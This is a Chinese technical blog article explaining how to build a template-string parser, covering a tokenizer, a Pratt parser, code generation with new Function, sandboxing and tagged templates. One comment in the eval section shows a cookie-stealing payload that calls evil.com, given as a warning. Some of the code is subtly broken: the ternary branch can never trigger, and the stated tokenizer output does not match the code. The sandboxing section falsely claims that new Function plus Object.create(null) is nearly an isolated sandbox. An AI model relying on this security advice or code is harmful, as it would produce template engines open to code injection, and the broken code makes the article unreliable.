文章

手写模板字符串解析深度解析

把含 ${} 的模板字符串编译成可执行函数,本质是微型编译器:词法分析拆 token、语法分析建 AST、代码生成转 JS。 面试考状态机如何处理 $ 与 { 既是分隔符又是字面量的歧义。

手写模板字符串解析深度解析

一句话概括

手写模板字符串解析器——把 "Hello, ${name}! Score: ${score > 60 ? 'pass' : 'fail'}" 变成可执行函数——本质上是一个微型编译器:词法分析拆 token → 语法分析建 AST → 代码生成转 JavaScript,三步走完你就能造出自己的 EJS。

核心知识点

1. 状态机做词法分析:最难也最关键

模板字符串的 tricky 之处在于 $ + { 同时是表达式分隔符,也是字面量字符(转义后):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// 核心状态机:两种模式切换
function tokenize(template) {
  const tokens = [];
  let i = 0, mode = 'TEXT'; // TEXT | EXPR

  while (i < template.length) {
    if (mode === 'TEXT') {
      if (template[i] === '\\') {
        tokens.push({ type: 'STRING', value: template[i + 1] || '' });
        i += 2;
      } else if (template[i] === '$' && template[i + 1] === '{') {
        tokens.push({ type: 'EXPR_START' });
        i += 2;
        mode = 'EXPR';
      } else {
        const start = i;
        while (i < template.length && !(template[i] === '$' && template[i+1] === '{') && template[i] !== '\\') i++;
        tokens.push({ type: 'STRING', value: template.slice(start, i) });
      }
    } else { // EXPR 模式:处理大括号嵌套
      let depth = 0;
      const start = i;
      while (i < template.length) {
        if (template[i] === '{') depth++;
        else if (template[i] === '}') {
          if (depth === 0) { tokens.push({ type: 'EXPR', value: template.slice(start, i) }); tokens.push({ type: 'EXPR_END' }); i++; break; }
          depth--;
        }
        i++;
      }
      mode = 'TEXT';
    }
  }
  return tokens;
}

// 测试嵌套:
// tokenize('${obj[a > 0 ? "yes" : { k: 1 }]}')
// → [{ type: 'EXPR', value: 'obj[a > 0 ? "yes" : { k: 1 }]' }] ✅ 正确处理嵌套大括号

2. Pratt Parsing:一张优先级表替代 N 层递归

传统的递归下降为每个优先级写一个函数(parseAdd → parseMul → parsePrimary),Pratt 用一张表搞定所有二元运算符:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function parseExpr(tokens, minPrec = 0) {
  let left = parsePrimary(tokens); // 原子:标识符、字面量、括号

  while (tokens.length) {
    const prec = { '||': 1, '&&': 2, '==': 3, '===': 3, '<': 4, '>': 4, '+': 5, '-': 5, '*': 6, '/': 6 }[tokens[0].value] || 0;
    if (prec <= minPrec) break;

    const op = tokens.shift().value;
    if (op === '?') { // 三元表达式特殊处理
      const consequent = parseExpr(tokens, 0);
      tokens.shift(); // :
      left = { type: 'Conditional', test: left, consequent, alternate: parseExpr(tokens, prec) };
    } else {
      left = { type: 'Binary', op, left, right: parseExpr(tokens, prec) };
    }
  }
  return left;
}
// parseExpr(tokenizeExpr('a + b * c > 0 ? d : e'))
// → { type:'Conditional', test:{ type:'Binary', op:'>', left:..., right:0 }, consequent:..., alternate:... }

Pratt 的精髓:parseExpr(minPrec) 的递归调用中,minPrec 参数在每一层递增,天然的”优先级越高绑得越紧”。

3. 代码生成:从 AST 到可执行函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function generate(node) {
  if (node.type === 'Identifier') return `data.${node.name}`; // 关键:所有变量强制走 data
  if (node.type === 'Literal')   return JSON.stringify(node.value);
  if (node.type === 'Binary')    return `(${generate(node.left)} ${node.op} ${generate(node.right)})`;
  if (node.type === 'Conditional') return `(${generate(node.test)} ? ${generate(node.consequent)} : ${generate(node.alternate)})`;
  // MemberExpr & CallExpr 同理递归...
}

// 编译入口
function compile(tpl) {
  const tokens = tokenize(tpl);
  // 拼接:静态文本 + 动态表达式
  const code = tokens.map(t =>
    t.type === 'STRING' ? JSON.stringify(t.value) : generate(parseExpr(tokenizeExpr(t.value)))
  ).join(' + ');

  return new Function('data', `"use strict"; return ${code};`);
}

// 使用:
const fn = compile('Hello, ${name}! Score: ${score}');
fn({ name: 'Alice', score: 95 }); // "Hello, Alice! Score: 95"
fn({ name: '<script>' }); // "Hello, <script>!..." — 但 JSON.stringify 只转义了引号,不是 HTML 转义!

4. 安全沙箱:为什么不能直接 eval

1
2
3
4
5
6
7
8
9
10
11
12
13
// ❌ 极度危险的写法
const fn = eval(`(data) => \`${template}\``);
fn({}); // 用户可以在 ${} 内写 process.exit() 或 fetch('http://evil.com?data=' + document.cookie)

// ✅ 正确做法:new Function + 独立作用域 + 白名单
const safeFn = new Function('data',
  '"use strict";' +
  'const safe = Object.create(null);' +    // 纯净对象,无原型链
  'Object.assign(safe, data);' +           // 只暴露用户传入的 data
  'return ' + compiledCode.replace(/\b(\w+)\b/g, (m) =>
    KEYWORDS.has(m) ? m : `safe.${m}`      // 所有标识符强制 safe. 前缀
  )
);

三层防线:① 词法层只允许表达式 token(禁止 new/eval/while)② 代码生成层所有变量 → data.xxx ③ 运行时用 Object.create(null) 切断原型链逃逸路径。

5. Tagged Template:原生 DSL 能力

1
2
3
4
5
6
7
8
9
10
11
// 手写一个 CSS-in-JS 标签函数
function css(strings, ...values) {
  return strings.reduce((result, str, i) =>
    result + str + (values[i] !== undefined ? String(values[i]) : ''), '');
}
const color = 'red';
const styles = css`color: ${color}; font-size: ${14 + 2}px;`;
// "color: red; font-size: 16px;"

// lit-html 就是用 tagged template 做响应式模板的
// html`<div class=${cls}>${content}</div>` → 编译为 TemplateResult

其实你每天都在用

  1. JSX 的编译——Babel 把 <div>{name}</div> 转成 React.createElement('div', null, name),本质上就是模板解析。React 17 的 _jsx 运行时更是和模板引擎的代码生成如出一辙。
  2. i18n 国际化库——t('hello', { name: 'World' }) 等价于模板 Hello { {name} },底层都是先解析占位符位置,再替换值。vue-i18n、react-intl 无一例外。
  3. PostCSS / Sass 的 #{$var} 插值——CSS 变量插值和模板字符串是同一个问题。Sass 编译器内部有一个完整的表达式解析器。
  4. SQL 模板字符串——sql\SELECT * FROM users WHERE id = ${userId}` 用 tagged template 防止 SQL 注入,sql` 函数内部做参数化转义。Prisma、pg-promise 都在用。
  5. 正则的 String.prototype.replace 回调——'Hello ${name}'.replace(/\$\{(\w+)\}/g, (_, key) => data[key]) 就是最简版的模板引擎,一行正则搞定。

常见误解(FAQ)

  • ❌ 误区:「模板引擎随便用正则替换就行,不需要 AST」 真相:正则只能匹配单层 ${},遇到 ${a.b[c > 0 ? 'x' : 'y'].fn()} 这种嵌套调用直接翻车。你需要处理 { } 的配对——这正是词法分析器的职责。正则不是不能做,而是做到一半会发现自己在实现一个 ad-hoc 解析器,不如一开始就用正规方法。

  • ❌ 误区:「new Function 和 eval 一样危险」 真相:它们的安全模型完全不同。eval 能访问当前作用域的所有变量(闭包穿透),new Function 只能访问全局对象,加上 Object.create(null) 和 use strict,几乎等同于独立沙箱。Node.js 的 vm 模块和 Deno 的沙箱底层也是这个思路。

  • ❌ 误区:「Vue 的模板编译器只是 EJS 的升级版」 真相:Vue 编译器做的是编译时优化(静态提升、PatchFlag、Block Tree),输出的是 Virtual DOM 渲染函数而非 HTML 字符串,中间经历了静态分析→动态节点标记→Block 划分等 EJS 完全没有的阶段。它更像 AOT 编译器而非运行时模板引擎。

  • ❌ 误区:「Pratt Parsing 太高级,手写模板不需要」 真相:如果你在模板中只支持 ${name} 这种简单变量,确实不需要。但只要你想支持 ${a + b * c} 这种基础运算——恰恰是最常见的需求——就必须处理运算符优先级。Pratt 用 20 行代码解决递归下降 100 行才能做的事,是最实用的面试答案。

一句话总结

模板字符串解析器就是一个微型编译器,三个核心模块(Tokenizer / Parser / CodeGen)加起来不过 200 行,但理解它就理解了编译原理的前端全链路——从字符流到可执行代码,V8 是这么做的,Babel 是这么做的,你的模板引擎也应该这么做。

本文由作者按照 CC BY 4.0 进行授权